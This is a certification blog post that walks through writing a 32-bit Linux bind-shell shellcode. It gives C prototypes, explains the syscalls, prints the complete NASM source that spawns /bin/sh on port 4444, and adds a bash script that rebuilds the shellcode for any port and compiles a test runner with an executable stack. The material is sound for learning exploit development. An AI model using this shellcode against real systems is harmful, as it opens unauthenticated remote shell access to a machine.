This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-644
GitHub resource containing challenge files:
https://github.com/bl305/SLAE32
Local link to source files:
http://itfanatic.com/files/Challenge_01_Final.ZIP
Task: create a bind shellcode in linux assembly 32 bits intel syntax. Also create a tool to be able to dynamically change the bind port.
There are potentially multiple ways to accomplish the mission, I chose to do the hard way. Instead of looking up a complete #C code and disassemble, I decided to build the #C code using internet resources to understand the tiny bits in it. Google is my friend.
In principle the code should do the following:
Opening a socket, basically a listener. My first match in google was this:
http://www.linuxhowtos.org/C_C++/socket.htm
Server code looks like this:
/* A simple server in the internet domain using TCP The port number is passed as an argument */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> void error(const char *msg) { perror(msg); exit(1); } int main(int argc, char *argv[]) { int sockfd, newsockfd, portno; socklen_t clilen; char buffer[256]; struct sockaddr_in serv_addr, cli_addr; int n; if (argc < 2) { fprintf(stderr,"ERROR, no port provided\n"); exit(1); } sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) error("ERROR opening socket"); bzero((char *) &serv_addr, sizeof(serv_addr)); portno = atoi(argv[1]); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(portno); if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) error("ERROR on binding"); listen(sockfd,5); clilen = sizeof(cli_addr); newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen); if (newsockfd < 0) error("ERROR on accept"); bzero(buffer,256); n = read(newsockfd,buffer,255); if (n < 0) error("ERROR reading from socket"); printf("Here is the message: %s\n",buffer); n = write(newsockfd,"I got your message",18); if (n < 0) error("ERROR writing to socket"); close(newsockfd); close(sockfd); return 0; }
Now we need to clean it up, as we don't care about error handling and other pretty important stuff important in a normal programming project. The cleaned code look like this below:
/* A simple server in the internet domain using TCP The port number is passed as an argument */ #include <stdio.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> int main(void) { int sockfd, newsockfd, portno; //file descriptor, client file descriptor socklen_t clilen; //socket length for new connections char buffer[256]; //used for storing the incoming string struct sockaddr_in serv_addr, cli_addr; //server listen address, client address int n; //used later as a variable for command output sockfd = socket(AF_INET, SOCK_STREAM, 0); //create TCP socket http://man7.org/linux/man-pages/man7/socket.7.html bzero((char *) &serv_addr, sizeof(serv_addr)); //zeroes out some memory http://man7.org/linux/man-pages/man3/bzero.3.html portno = 4444; //port to listen on serv_addr.sin_family = AF_INET; // server socket type address family = internet protocol address serv_addr.sin_addr.s_addr = INADDR_ANY; // listen on any address, converted to network byte order serv_addr.sin_port = htons(portno); // server port, converted to network string order bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)); //bind to socket http://man7.org/linux/man-pages/man2/bind.2.html listen(sockfd,5); //listen on socket http://man7.org/linux/man-pages/man2/listen.2.html clilen = sizeof(cli_addr); // accept new connections newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen); // accept new connections bzero(buffer,256); n = read(newsockfd,buffer,255); printf("Here is the message: %s\n",buffer); n = write(newsockfd,"I got your message",18); close(newsockfd); //close socket close(sockfd); //close socket return 0; }
Ok, so we can receive messages and can print them out. Now we need to execute a command and redirect all STDIN/STDOUT and STDERR to out socket. We need to do some research on order to do this (or watch the SLAE32 videos again). I found the following help about pipes and redirecting:
http://www.tldp.org/LDP/lpg/node11.html
DUP2 will be our choice:
SYSTEM CALL: dup2();
PROTOTYPE: int dup2( int oldfd, int newfd );
RETURNS: new descriptor on success
-1 on error: errno = EBADF (oldfd is not a valid descriptor)
EBADF (newfd is out of range)
EMFILE (too many descriptors for the process)
NOTES: the old descriptor is closed with dup2()!
With this particular call, we have the close operation, and the actual descriptor duplication, wrapped up in one system call. In addition, it is guaranteed to be atomic, which essentially means that it will never be interrupted by an arriving signal. The entire operation will transpire before returning control to the kernel for signal dispatching. With the original dup() system call, programmers had to perform a close() operation before calling it. That resulted in two system calls, with a small degree of vulnerability in the brief amount of time which elapsed between them. If a signal arrived during that brief instance, the descriptor duplication would fail.
Of course, dup2() solves this problem for us.
So we will add some lines as following:
// dup2-loop to redirect stdin(0), stdout(1) and stderr(2)
for(i = 0; i <= 2; i++) dup2(newsockfd, i);
Now we also need to execute some kind of bash, like the following:
// execute sh shell
execve( "/bin/sh", NULL, NULL );
Now we can remove the string manipulation stuff also.
Also, we need to change the listen parameter, because we don't want to have 5 in there.
int listen(int s, int backlog);
The backlog parameter can mean a couple different things depending on the system you on, but loosely it is how many pending connections you can have before the kernel starts rejecting new ones. Setting it to 0 will allow connections. If you want to be on the safe side, you can increase it to allow more connections.
So the clean #c shellcode looks like this:
/* A simple server in the internet domain using TCP The port number is passed as an argument */ #include <stdio.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> int main(void) { int sockfd, newsockfd, portno; //file descriptor, client file descriptor, port number socklen_t clilen; //socket length for new connections struct sockaddr_in serv_addr, cli_addr; //server listen address, client address sockfd = socket(AF_INET, SOCK_STREAM, 0); //create TCP socket http://man7.org/linux/man-pages/man7/socket.7.html portno = 4444; //port to listen on serv_addr.sin_family = AF_INET; // server socket type address family = internet protocol address serv_addr.sin_addr.s_addr = INADDR_ANY; // listen on any address, converted to network byte order serv_addr.sin_port = htons(portno); // server port, converted to network string order bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)); //bind to socket http://man7.org/linux/man-pages/man2/bind.2.html listen(sockfd,0); //listen on socket http://man7.org/linux/man-pages/man2/listen.2.html clilen = sizeof(cli_addr); // accept new connections newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen); // accept new connections // dup2-loop to redirect stdin(0), stdout(1) and stderr(2) dup2(newsockfd, 0); dup2(newsockfd, 1); dup2(newsockfd, 2); //http://man7.org/linux/man-pages/man2/dup.2.html // execute sh shell execve("/bin/sh", NULL, NULL); //http://man7.org/linux/man-pages/man2/execve.2.html close(newsockfd); //close socket close(sockfd); //close socket return 0; }
Now compile it and see what happens. Ignore the warning and execute the program:
Now a connection to it will show that the shell has been executed and bind to the socket.
Now let's do the same thing in NASM. The steps we need to do:
Determine the interrupts using:
less /usr/include/i386-linux-gnu/asm/unistd_32.h
List of subcalls are here:
less /usr/include/linux/net.h
#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */
Ok, now using the “man” pages we can determine the specifics:
man socket, man bind, man listen, man accept
SEE ALSO
accept(2), bind(2), connect(2), fcntl(2), getpeername(2), getsockname(2), getsockopt(2), ioctl(2), listen(2), read(2), recv(2), select(2), send(2), shutdown(2), socketpair(2), write(2), getprotoent(3), ip(7), socket(7), tcp(7), udp(7), unix(7)
man socketcall:
NAME
socketcall - socket system calls
SYNOPSIS
int socketcall(int call, unsigned long *args);
DESCRIPTION
socketcall() is a common kernel entry point for the socket system calls. call determines which socket function to invoke. Args points to a block containing the actual arguments, which are passed through to the appropriate call.
User programs should call the appropriate functions by their usual names. Only standard library implementors and kernel hackers need to know about socketcall().
man socket
NAME
socket - create an endpoint for communication
SYNOPSIS
#include <sys/types.h> /* See NOTES */
#include <sys/socket.h>
int socket(int domain, int type, int protocol);
DESCRIPTION
socket() creates an endpoint for communication and returns a descriptor.
The domain argument specifies a communication domain; this selects the protocol family which will be used for communication. These families are defined in <sys/socket.h>. The currently understood formats include:
Name Purpose Man page
AF_UNIX, AF_LOCAL Local communication unix(7)
AF_INET IPv4 Internet protocols ip(7)
AF_INET6 IPv6 Internet protocols ipv6(7)
AF_IPX IPX - Novell protocols
AF_NETLINK Kernel user interface device netlink(7)
AF_X25 ITU-T X.25 / ISO-8208 protocol x25(7)
AF_AX25 Amateur radio AX.25 protocol
AF_ATMPVC Access to raw ATM PVCs
AF_APPLETALK Appletalk ddp(7)
AF_PACKET Low level packet interface packet(7)
The socket has the indicated type, which specifies the communication semantics. Currently defined types are:
SOCK_STREAM Provides sequenced, reliable, two-way, connection-based byte streams. An out-of-band data transmission mechanism may be supported.
SOCK_DGRAM Supports datagrams (connectionless, unreliable messages of a fixed maximum length).
SOCK_SEQPACKET Provides a sequenced, reliable, two-way connection-based data transmission path for datagrams of fixed maximum length; a consumer is required to read an entire packet with each input system call.
SOCK_RAW Provides raw network protocol access.
SOCK_RDM Provides a reliable datagram layer that does not guarantee ordering.
SOCK_PACKET Obsolete and should not be used in new programs; see packet(7).
Some socket types may not be implemented by all protocol families; for example, SOCK_SEQPACKET is not implemented for AF_INET.
Since Linux 2.6.27, the type argument serves a second purpose: in addition to specifying a socket type, it may include the bitwise OR of any of the following values, to modify the behavior of socket():
SOCK_NONBLOCK Set the O_NONBLOCK file status flag on the new open file description. Using this flag saves extra calls to fcntl(2) to achieve the same result.
SOCK_CLOEXEC Set the close-on-exec (FD_CLOEXEC) flag on the new file descriptor. See the description of the O_CLOEXEC flag in open(2) for reasons why this may be useful.
The protocol specifies a particular protocol to be used with the socket. Normally only a single protocol exists to support a particular socket type within a given protocol family, in which case protocol can be specified as 0. However, it is possible that many protocols may exist, in which case a particular protocol must be specified in this manner. The protocol number to use is specific to the “communication domain” in which communication is to take place; see protocols(5). See getprotoent(3) on how to map protocol name strings to protocol numbers.
More details on protocol numbers:
less /usr/include/linux/in.h
/* Standard well-defined IP protocols. */
enum {
IPPROTO_IP = 0, /* Dummy protocol for TCP */
IPPROTO_ICMP = 1, /* Internet Control Message Protocol */
IPPROTO_IGMP = 2, /* Internet Group Management Protocol */
IPPROTO_IPIP = 4, /* IPIP tunnels (older KA9Q tunnels use 94) */
IPPROTO_TCP = 6, /* Transmission Control Protocol */
IPPROTO_EGP = 8, /* Exterior Gateway Protocol */
IPPROTO_PUP = 12, /* PUP protocol */
IPPROTO_UDP = 17, /* User Datagram Protocol */
IPPROTO_IDP = 22, /* XNS IDP protocol */
IPPROTO_DCCP = 33, /* Datagram Congestion Control Protocol */
IPPROTO_RSVP = 46, /* RSVP protocol */
IPPROTO_GRE = 47, /* Cisco GRE tunnels (rfc 1701,1702) */
IPPROTO_IPV6 = 41, /* IPv6-in-IPv4 tunnelling */
TCP would be #6
Step #1: Socket open
So, there will be a socket call with the following parameters:
domain: AF_INET
type: SOCK_STREAM
protocol: 0
Now, we need to push all these stuff on the stack in reverse order, so protcol, type, domain. Ok, but how do I know what are the values for AF_INET and SOCK_STREAM?
Look into the socket.h in your include directory. In my case it was here:
less /usr/include/i386-linux-gnu/bits/socket_type.h
SOCK_STREAM = 1
less /usr/include/i386-linux-gnu/bits/socket.h
#define PF_INET 2 /* IP protocol family. */
#define AF_INET PF_INET
So we send this: proto, type, domain: 0,1,2
Assembly code:
;sockfd= socket(AF_INET, SOCK_STREAM, 0) xor eax,eax ;clean eax mov al,0x66 ;set syscall number to socket xor ebx,ebx ;zero out ebx push ebx ;stack protocol=0, default (could be 6 for TCP) inc ebx ;prepare ebx=1 for stack push ebx ;stack type=1, sock_stream push byte 0x2 ;stack domain, af_inet mov ecx,esp ;store a pointer to the parameters for dup2 int 0x80 ;call the syscall, it returns the socket file descriptor to EAX mov esi, eax ;store sockfd into ESI
Step #2: Socket bind
So in this case we will need to call socket with “bind” subcall. List of subcalls are here:
less /usr/include/linux/net.h
#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */
man bind
SYNOPSIS
#include <sys/types.h> /* See NOTES */
#include <sys/socket.h>
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
DESCRIPTION
When a socket is created with socket(2), it exists in a name space (address family) but has no address assigned to it. Bind() assigns the address specified by addr to the socket referred to by the file descriptor sockfd. addrlen specifies the size, in bytes, of the address structure pointed to by addr. Traditionally, this operation is called “assigning a name to a socket”.
It is normally necessary to assign a local address using bind() before a SOCK_STREAM socket may receive connections (see accept(2)).
The rules used in name binding vary between address families. Consult the manual entries in Section 7 for detailed information. For
AF_INET see ip(7), for AF_INET6 see ipv6(7), for AF_UNIX see unix(7), for AF_APPLETALK see ddp(7), for AF_PACKET see packet(7), for AF_X25 see x25(7) and for AF_NETLINK see netlink(7).
The actual structure passed for the addr argument will depend on the address family. The sockaddr structure is defined as something like:
struct sockaddr {
sa_family_t sa_family;
char sa_data[14];
}
The only purpose of this structure is to cast the structure pointer passed in addr in order to avoid compiler warnings.
So let's set the parameters:
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
In plain text:
bind (sockfd, sockaddress, addrlen)
sockaddr requires special attention. Sockfd will be the pointer we stored as the result of the last syscall.
To see the contents of the structure, we need to look into:
less /usr/include/linux/in.h
/* Structure describing an Internet (IP) socket address. */
#define __SOCK_SIZE__ 16 /* sizeof(struct sockaddr) */
struct sockaddr_in {
__kernel_sa_family_t sin_family; /* Address family */
__be16 sin_port; /* Port number */
struct in_addr sin_addr; /* Internet address */
Also, the value of Address family is in the same file:
/* Address to accept any incoming messages. */
#define INADDR_ANY ((unsigned long int) 0x00000000)
Port number is obvious, it's a number in hex.
Struct in_addr will be AF_INET=0x2
So, the structure to push will be:
Sockaddr structure saved reference in ECX:
0x0 (sin_addr), 0x5C11 (sin_port 4444 - little endian order), 0x2 (sin_family)
Bind call:
0x10=address length(16), ECX=pointer to sockaddr, ESI=sockfd
Assembly:
;bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen) mov al,0x66 ;set syscall number to socket pop ebx ;take the 2 from the stack to use as bind ;pop esi ; remove the 0x1 from stack and leave 0x0 ;prepare struct xor edx,edx ;zero out edx push edx ;set the sin_addr=0 (INADDR_ANY) push word 0x5C11 ;set sin_port=4444 push word bx ;sin_family AF_INET =0x2 mov ecx, esp ;save pointer ;prepare struct end push 0x10 ;addrlen=16 structure length push ecx ; struck sockaddr pointer push esi ; this is a pointer to the file descriptor sockfd mov ecx, esp ;pointer to bind() args int 0x80 ; exec sys bind
Step #3: Listen
To create a listener, look at man listen first:
SYNOPSIS
#include <sys/types.h> /* See NOTES */
#include <sys/socket.h>
int listen(int sockfd, int backlog);
DESCRIPTION
listen() marks the socket referred to by sockfd as a passive socket, that is, as a socket that will be used to accept incoming connection requests using accept(2).
The sockfd argument is a file descriptor that refers to a socket of type SOCK_STREAM or SOCK_SEQPACKET.
The backlog argument defines the maximum length to which the queue of pending connections for sockfd may grow. If a connection request arrives when the queue is full, the client may receive an error with an indication of ECONNREFUSED or, if the underlying protocol supports retransmission, the request may be ignored so that a later reattempt at connection succeeds.
So in this case we will need to call socket with “bind” subcall. List of subcalls are here:
less /usr/include/linux/net.h
#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */
Pretty simple, we need to call listen (sockfd, 0). 0 for default, it would work with higher value.
Assembly:
;listen mov al,0x66 ;syscall 102 mov bl, 0x4 ;sys_listen push ebx ;backlog=0x0 push esi ;sockfd mov ecx,esp ;save pointer to args int 0x80 ;call syscall
Step #4: Accept
So in this case we will need to call socket with “bind” subcall. List of subcalls are here:
less /usr/include/linux/net.h
#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */
SYNOPSIS
#include <sys/types.h> /* See NOTES */
#include <sys/socket.h>
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
#define _GNU_SOURCE /* See feature_test_macros(7) */
#include <sys/socket.h>
int accept4(int sockfd, struct sockaddr *addr,
socklen_t *addrlen, int flags);
DESCRIPTION
The accept() system call is used with connection-based socket types (SOCK_STREAM, SOCK_SEQPACKET). It extracts the first connection
request on the queue of pending connections for the listening socket, sockfd, creates a new connected socket, and returns a new file descriptor referring to that socket. The newly created socket is not in the listening state. The original socket sockfd is unaffected by this call.
The argument sockfd is a socket that has been created with socket(2), bound to a local address with bind(2), and is listening for connections after a listen(2).
The argument addr is a pointer to a sockaddr structure. This structure is filled in with the address of the peer socket, as known to the communications layer. The exact format of the address returned addr is determined by the socket's address family (see socket(2) and the respective protocol man pages). When addr is NULL, nothing is filled in; in this case, addrlen is not used, and should also be NULL.
So, we need the followings:
accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
sockfd=esi
struct: 0 as we don't care what the client has
addrlen:0 as we don't care about the client.
Assembly:
;accept mov al,0x66 ;syscall 102 mov bl, 0x5 ;sys_accept push edx ; addrlen=0x0 push edx ; struct=0x0 push esi ;socketd mov ecx, esp ;save pointer to args int 0x80 ;call syscall
Step #5: Redirect STDIN, STDOUT, STDERR
Redirect STDIN (0), STDOUT(1), STDERR(2)
We will use DUP2.
SYNOPSIS
#include <unistd.h>
int dup(int oldfd);
int dup2(int oldfd, int newfd);
#define _GNU_SOURCE /* See feature_test_macros(7) */
#include <fcntl.h> /* Obtain O_* constant definitions */
#include <unistd.h>
int dup3(int oldfd, int newfd, int flags);
DESCRIPTION
These system calls create a copy of the file descriptor oldfd.
dup() uses the lowest-numbered unused descriptor for the new descriptor.
dup2() makes newfd be the copy of oldfd, closing newfd first if necessary, but note the following:
* If oldfd is not a valid file descriptor, then the call fails, and newfd is not closed.
* If oldfd is a valid file descriptor, and newfd has the same value as oldfd, then dup2() does nothing, and returns newfd.
After a successful return from one of these system calls, the old and new file descriptors may be used interchangeably. They refer to the same open file description (see open(2)) and thus share file offset and file status flags; for example, if the file offset is modified by using lseek(2) on one of the descriptors, the offset is also changed for the other.
The two descriptors do not share file descriptor flags (the close-on-exec flag). The close-on-exec flag (FD_CLOEXEC; see fcntl(2)) for the duplicate descriptor is off.
Ok, get the syscall for DUP2:
less /usr/include/i386-linux-gnu/asm/unistd_32.h
it is 63=0x3F
We need to do:
dup2(oldfd,newfd)
oldfd will be the EBX socketfd, new will be 0 (stdin),1(stdout),2(stderr).
I put this in a loop ().
cl will be the counter. It has to be zeroed out and set to 2. If we look at the stack, we see:
We have 0x00000007 as the socket file descriptor, and 0x00000000.
We can pop this 0 to ecx and we hit two birds with one stone.
pop ecx
Set the cl to 2:
mov cl,0x2 ; initiate counter
call result will be returned to EAX, which is currently busy with storing the socketfd. Let's store socketfd in EBX for now using XCHG. EBX used to store 0x5 for the Accept call, we don't need that any more.
xchg ebx, eax
define the dup2 with the aruments in the loop (EBX won't change, it is socketfd):
myloop:
mov al,0x3F ;dup2 syscall
int 0x80 ;syscall dup2
dec ecx ; decrement counter
jns loop ; jmp to loop as long as SF is not set to 1
Assembly:
;redirect xchg ebx, eax ;store the socketfd in ebx, and 0x5 in eax. EBX will be the oldfd in DUP2 pop ecx ; pull the 0x00000000 from the stack mov cl, 0x2 ; set counter to 2, this will be newfd in DUP2 ;loop to call dup2 3 times and duplicate file descriptor for STDIN, STDOUT and STDERR myloop: mov al,0x3F ;dup2 syscall int 0x80 ;syscall dup2 dec ecx ; decrement counter jns myloop ; jmp to loop as long as SF is not set to 1
Step #6: Execute bash
execute shell vie execve
man execve
SYNOPSIS
#include <unistd.h>
int execve(const char *filename, char *const argv[],
char *const envp[]);
DESCRIPTION
execve() executes the program pointed to by filename. filename must be either a binary executable, or a script starting with a line of the form:
#! interpreter [optional-arg]
For details of the latter case, see "Interpreter scripts" below.
argv is an array of argument strings passed to the new program. By convention, the first of these strings should contain the file name associated with the file being executed. envp is an array of strings, conventionally of the form key=value, which are passed as environment to the new program. Both argv and envp must be terminated by a NULL pointer. The argument vector and environment
can be accessed by the called program's main function, when it is defined as:
int main(int argc, char *argv[], char *envp[])
execve() does not return on success, and the text, data, bss, and stack of the calling process are overwritten by that of the program loaded.
So we need this:
execve(*filename, *const argv[],*const envp[]);
syscall for execve is 11=0x0b:
less /usr/include/i386-linux-gnu/asm/unistd_32.h
As the system is in little-endian, we need to push the command in reverse order ending with 0x0.
Assembly:
;execve xor eax,eax push eax ;push the ending 0x0 push 0x68732f2f ; "hs//" the trick is "//"="/" tom make it four bytes push 0x6e69622f ; "nib/" mov ebx, esp ;save the pointer to filename push eax ; set argument t 0x0 mov ecx, esp ;save the pointer to argument envp push eax ; set argument t 0x0 mov edx, esp ;save the pointer to argument ptr mov al,0xb ;call execve int 0x80 ; execute syscall
The full sourcecode:
global _start section .text _start: ;sockfd= socket(AF_INET, SOCK_STREAM, 0) xor eax,eax ;clean eax mov al,0x66 ;set syscall number to socket xor ebx,ebx ;zero out ebx push ebx ;stack protocol=0, default (could be 6 for TCP) inc ebx ;prepare ebx=1 for stack push ebx ;stack type=1, sock_stream push byte 0x2 ;stack domain, af_inet mov ecx,esp ;store a pointer to the parameters for dup2 int 0x80 ;call the syscall, it returns the socket file descriptor to EAX mov esi, eax ;store sockfd into ESI ;bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen) mov al,0x66 ;set syscall number to socket pop ebx ;take the 2 from the stack to use as bind ;pop esi ; remove the 0x1 from stack and leave 0x0 ;prepare struct xor edx,edx ;zero out edx push edx ;set the sin_addr=0 (INADDR_ANY) push word 0x5C11 ;set sin_port=4444 push word bx ;sin_family AF_INET =0x2 mov ecx, esp ;save pointer ;prepare struct end push 0x10 ;addrlen=16 structure length push ecx ; struck sockaddr pointer push esi ; this is a pointer to the file descriptor sockfd mov ecx, esp ;pointer to bind() args int 0x80 ; exec sys bind ;listen mov al,0x66 ;syscall 102 mov bl, 0x4 ;sys_listen push ebx ;backlog=0x0 push esi ;sockfd mov ecx,esp ;save pointer to args int 0x80 ;call syscall ;accept mov al,0x66 ;syscall 102 mov bl, 0x5 ;sys_accept push edx ; addrlen=0x0 push edx ; struct=0x0 push esi ;socketd mov ecx, esp ;save pointer to args int 0x80 ;call syscall ;redirect xchg ebx, eax ;store the socketfd in ebx, and 0x5 in eax. EBX will be the oldfd in DUP2 pop ecx ; pull the 0x00000000 from the stack mov cl, 0x2 ; set counter to 2, this will be newfd in DUP2 ;loop to call dup2 3 times and duplicate file descriptor for STDIN, STDOUT and STDERR myloop: mov al,0x3F ;dup2 syscall int 0x80 ;syscall dup2 dec ecx ; decrement counter jns myloop ; jmp to loop as long as SF is not set to 1 ;execve xor eax,eax push eax ;push the ending 0x0 push 0x68732f2f ; "hs//" the trick is "//"="/" tom make it four bytes push 0x6e69622f ; "nib/" mov ebx, esp ;save the pointer to filename push eax ; set argument t 0x0 mov ecx, esp ;save the pointer to argument envp push eax ; set argument t 0x0 mov edx, esp ;save the pointer to argument ptr mov al,0xb ;call execve int 0x80 ; execute syscall
The script which generates assembly code with custom port and compiles the program:
#!/bin/bash echo '[+] Changing port to '$2' ...' port=`printf %04X $2 |grep -o ..|tac|tr -d '\n'` sed s/5C11/$port/ <$1.nasm >$1.nasm_$port echo '[+] Assembling with Nasm ... ' nasm -f elf32 -o $1.o $1.nasm_$port echo '[+] Linking ...' ld -melf_i386 -o $1 $1.o echo '[+] Objdump ...' mycode=`objdump -d ./$1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\\x/g'|paste -d '' -s |sed 's/^/"/' | sed 's/$/"/g'` echo '[+] Assemble shellcode C ...' echo "#include<stdio.h>" >shellcode.c echo "#include<string.h>" >>shellcode.c echo "unsigned char code[] = \\" >>shellcode.c echo $mycode";" >>shellcode.c echo "main()" >>shellcode.c echo "{" >>shellcode.c echo "printf(\"Shellcode Length: %d\n\", strlen(code));" >>shellcode.c echo " int (*ret)() = (int(*)())code;" >>shellcode.c echo " ret();" >>shellcode.c echo "}" >>shellcode.c echo '[+] Compile shellcode.c' gcc -fno-stack-protector -z execstack shellcode.c -o shellcode echo '[+] Done!'
The shellcode in action: